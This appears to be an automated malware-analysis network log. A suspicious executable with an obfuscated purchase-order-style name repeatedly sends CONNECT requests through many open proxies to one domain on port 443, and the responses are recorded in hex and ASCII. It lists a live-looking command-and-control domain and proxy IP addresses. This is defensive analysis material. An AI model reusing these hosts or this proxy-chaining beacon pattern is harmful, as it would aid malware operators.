Mar 11, 2024 16:42:20.528054953 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
407	192.168.2.11	51360	66.45.246.194	8888	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.529599905 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
408	192.168.2.11	51267	200.97.76.186	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.533864975 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.870670080 CET	203	IN	HTTP/1.0 403 Forbidden Content-Length: 1176 Content-Type: text/html Date: Mon, 11 Mar 2024 15:42:20 GMT Expires: Mon, 11 Mar 2024 15:42:20 GMT Server: Mikrotik HttpProxy Proxy-Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
409	192.168.2.11	51204	93.171.220.229	8888	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.570311069 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
410	192.168.2.11	51308	62.33.207.202	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.570436954 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.911700010 CET	1286	IN	HTTP/1.1 405 Method Not Allowed Server: squid Mime-Version: 1.0 Date: Mon, 11 Mar 2024 15:42:19 GMT Content-Type: text/html Content-Length: 3209 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 20 3c 74 69 74 6c 65 3e d0 9e d0 a8 d0 98 d0 91 d0 9a d0 90 3a 20 d0 97 d0 b0 d0 bf d1 80 d0 be d1 88 d0 b5 d0 bd d0 bd d1 8b d0 b9 20 55 52 4c 20 d0 bd d0 b5 20 d0 bc d0 be d0 b6 d0 b5 d1 82 20 d0 b1 d1 8b d1 82 d1 8c 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b5 d0 bd 3c 2f 74 69 74 6c 65 3e 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 20 20 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 74 69 74 6c 65 20 61 72 65 61 20 2a 2f 0a 23 74 69 74 6c 65 73 20 7b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 30 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 68 74 74 70 3a 2f 2f 77 77 77 2e 73 71 75 69 64 2d 63 61 63 68 65 2e 6f 72 67 2f 41 72 74 77 6f 72 6b 2f 53 4e 2e 70 6e 67 27 29 20 6e 6f 2d 72 65 70 65 61 74 20 6c 65 66 74 3b 0a 7d 0a 0a 2f 2a 20 69 6e 69 74 69 61 6c 20 74 69 74 6c 65 20 2a 2f 0a 23 74 69 74 6c 65 73 20 68 31 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 23 74 69 74 6c 65 73 20 68 32 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 0a 2f 2a 20 73 70 65 63 69 61 6c 20 65 76 65 6e 74 3a 20 46 54 50 20 73 75 63 63 65 73 73 20 70 61 67 65 20 74 69 74 6c 65 73 20 2a 2f 0a 23 74 69 74 6c 65 73 20 66 74 70 73 75 63 63 65 73 73 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 66 66 30 30 3b 0a 09 77 69 64 74 68 3a 31 30 30 25 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 62 6f 64 79 20 63 6f 6e 74 65 6e 74 20 61 72 65 61 20 2a 2f 0a 23 63 6f 6e 74 65 6e 74 20 7b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 66 66 66 3b 0a 7d 0a 0a 2f 2a 20 47 65 6e 65 72 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>: URL </title> <style type="text/css">... /* Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efefef;font-size: 12px;color: #1e1e1e;}/* Page displayed title area /#titles {margin-left: 15px;padding: 10px;padding-left: 100px;background: url('http://www.squid-cache.org/Artwork/SN.png') no-repeat left;}/ initial title /#titles h1 {color: #000000;}#titles h2 {color: #000000;}/ special event: FTP success page titles /#titles ftpsuccess {background-color:#00ff00;width:100%;}/ Page displayed body content area /#content {padding: 10px;background: #ffffff;}/ Gener

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
411	192.168.2.11	51276	91.151.90.9	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.571130037 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.911567926 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 16:42:20.934845924 CET	202	OUT	Data Raw: 16 03 03 00 c5 01 00 00 c1 03 03 65 ef 26 5c 06 b5 24 e5 32 46 f8 d1 4e 13 62 82 60 ac ec dc 27 11 ab 11 2b 36 1e 38 a2 ee 2d 7c 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: e&\$2FNb`'+68-\|*,+0/$#('=<5/n-+(heygirlisheeverythingyouwantedinaman.com#
Mar 11, 2024 16:42:21.300303936 CET	1286	IN	Data Raw: 16 03 03 00 43 02 00 00 3f 03 03 65 ef 26 5d cd 59 99 4f 59 a1 60 31 d0 29 b6 dd 6a 80 c1 16 1e 02 10 d5 44 4f 57 4e 47 52 44 01 00 c0 2f 00 00 17 00 00 00 00 00 17 00 00 ff 01 00 01 00 00 0b 00 02 01 00 00 23 00 00 16 03 03 10 cb 0b 00 10 c7 00 Data Ascii: C?e&]YOY`1)jDOWNGRD/#00`4ZmQ0*H0F10UUS1"0 UGoogle Trust Services LLC10UGTS CA 1P50240212203110Z240512203109Z03110/
Mar 11, 2024 16:42:21.300390959 CET	1286	IN	Data Raw: 6d dd 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 03 82 01 01 00 1f 8b 40 68 93 64 2a 2d dc 07 bd 7a 5f 46 c4 ea f2 c8 d7 63 e0 4e cc 42 c7 44 46 d1 17 84 d3 1f 08 47 69 c2 b6 7f dd 9d a0 2d 9e 1b be 1f f8 19 ab ad d9 8d 7d 14 62 f3 40 cf 76 94 Data Ascii: m0H@hd-z_FcNBDFGi-}b@vwTJ;dm55inz74\|"@,+v?iS't;H%['rBuq,/aeYXhV
Mar 11, 2024 16:42:21.300486088 CET	1286	IN	Data Raw: 59 02 10 51 5c e3 c0 2b fd b7 06 48 51 7e 09 5e 3f 0f dc a7 fe 97 e7 79 c5 0e 44 89 78 c5 69 59 29 a0 9a 3a 48 36 29 a6 94 93 55 2d b8 47 b5 e9 96 b5 9f 07 cd a6 ab 3e 32 8a c0 86 83 c5 c1 41 c8 9f 2f 35 8e 0d c0 07 7a e1 ac c9 65 b5 cb 8a a7 dd Data Ascii: YQ\+HQ~^?yDxiY):H6)U-G>2A/5zeqae92>z6VWAmZ:ucitoL7(n c~+u<.rO6D#?Z]v](VfQQ{=0z$-KO?'>#ZB-z6=`9cxN!>\
Mar 11, 2024 16:42:21.300499916 CET	832	IN	Data Raw: 06 03 55 1d 23 04 18 30 16 80 14 60 7b 66 1a 45 0d 97 ca 89 50 2f 7d 04 cd 34 a8 ff fc fd 4b 30 60 06 08 2b 06 01 05 05 07 01 01 04 54 30 52 30 25 06 08 2b 06 01 05 05 07 30 01 86 19 68 74 74 70 3a 2f 2f 6f 63 73 70 2e 70 6b 69 2e 67 6f 6f 67 2f Data Ascii: U#0`{fEP/}4K0`+T0R0%+0http://ocsp.pki.goog/gsr10)+0http://pki.goog/gsr1/gsr1.crt02U+0)0'%#!http://crl.pki.goog/gsr1/gsr1.crl0;U 4020g0g0+y0+y0
Mar 11, 2024 16:42:21.302628994 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 6c 4f b5 21 64 98 99 67 6a 4d 9e 9f 08 9f 16 98 90 55 52 5d 20 ad 4b d0 57 03 f7 ec 45 bf ee 6a 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 5f b8 10 9e 3b 72 1c 4c 1d 56 8c 49 cb 7a 44 db 39 c9 81 49 bd Data Ascii: %! lO!dgjMUR] KWEj(_;rLVIzD9IeV*oY
Mar 11, 2024 16:42:21.656198978 CET	258	IN	Data Raw: 16 03 03 00 ca 04 00 00 c6 00 00 fd 20 00 c0 a4 7b 80 b8 dc 57 45 90 1c c8 84 65 b8 aa 3c 5e 55 17 0f b3 22 60 15 f8 a0 14 5f 77 ab d5 2c de 98 f0 e7 87 c9 c2 10 47 32 2b a9 d5 f7 e6 ec f7 5e 15 93 a0 c7 44 34 16 19 50 f5 0a 9f 40 e6 ad 21 26 40 Data Ascii: {WEe<^U"`_w,G2+^D4P@!&@Lt:n0;oi(ntM:kexm:d\[<R1hrdRI=:.\a-i5<&QLkui(*M8Zj
Mar 11, 2024 16:42:21.679291964 CET	277	OUT	Data Raw: 17 03 03 01 10 00 00 00 00 00 00 00 01 87 55 b0 31 43 28 05 d1 53 3c f2 5e 32 eb e4 37 65 c7 f6 5f 2b 74 e9 a7 f7 dd 77 ed aa 86 60 b6 4f 38 21 ed 43 42 7a 84 3e 72 48 d7 e8 ba f2 fd 69 df 0f 57 bc d1 d9 5b 7a be 57 d8 d3 63 2c 52 50 2a 13 ef 59 Data Ascii: U1C(S<^27e_+tw`O8!CBz>rHiW[zWc,RP*YLO~\5[?G0f~.$kq1M7'yyS\knaMu&[k>\|r2M1JbfnClh\L@jtpR8h
Mar 11, 2024 16:42:22.038074017 CET	1286	IN	Data Raw: 17 03 03 05 71 00 00 00 00 00 00 00 01 fa 04 48 cc de 2c ba b5 fc f6 ec f2 8f 21 ff 60 6b 01 ea e9 e1 d0 e5 83 7f 35 51 e6 06 f6 cc 39 92 f4 7b bd d8 e0 2c 89 13 93 cf 60 91 b6 23 a0 cb 94 ea 0b e3 2f ed 03 ae ed a8 e5 6e 14 88 58 c2 e0 54 34 e7 Data Ascii: qH,!`k5Q9{,`#/nXT4[@>xUY=<"{4t H"`^e\$X[]3M){4e! R:&Is0%vtZum(<\PY$eq-%2\|'0L+j@
Mar 11, 2024 16:42:22.038125992 CET	1286	IN	Data Raw: c0 0a 0f a2 d7 30 89 99 aa 97 57 8c 33 15 05 c2 9c 0d 16 86 15 1b 50 db 65 7f f7 f7 dc c9 9b 1a 19 76 91 04 70 37 87 03 b6 72 23 90 bf 2d f9 34 e0 b1 9a 70 43 b8 30 dc 1d 1c 6e 22 93 66 9a 0e 4f 41 62 79 82 75 d9 d6 78 a0 8e 4c 97 77 9b 32 8b bf Data Ascii: 0W3Pevp7r#-4pC0n"fOAbyuxLw2qo~Hui<&59h'+Ehq~:\MFs\?R&Oc,bei_"{~!brPu-z&Hf&qlX$(:15-JW}=(#,mF

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
412	192.168.2.11	51273	91.148.127.162	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.571635962 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
413	192.168.2.11	51405	104.16.105.146	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.572952032 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.727020025 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:20 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
414	192.168.2.11	51333	185.212.60.62	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.572954893 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.910305023 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:20 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
415	192.168.2.11	51408	104.18.136.28	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.575972080 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.730073929 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:20 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
416	192.168.2.11	51318	14.232.235.13	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.577780962 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.093317986 CET	72	IN	HTTP/1.1 200 Connection established Proxy-Agent: Fortinet-Proxy/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
417	192.168.2.11	50708	221.6.139.190	9002	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.579706907 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.551275969 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 15:42:21 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
418	192.168.2.11	51378	72.210.221.197	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.586426973 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
419	192.168.2.11	50823	160.153.245.187	38586	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.597244024 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.689073086 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.689456940 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:32.688816071 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
420	192.168.2.11	51422	104.18.237.128	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.597639084 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.752196074 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:20 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
421	192.168.2.11	51313	119.91.214.119	3389	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.599890947 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
422	192.168.2.11	51387	72.195.114.169	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.602169991 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

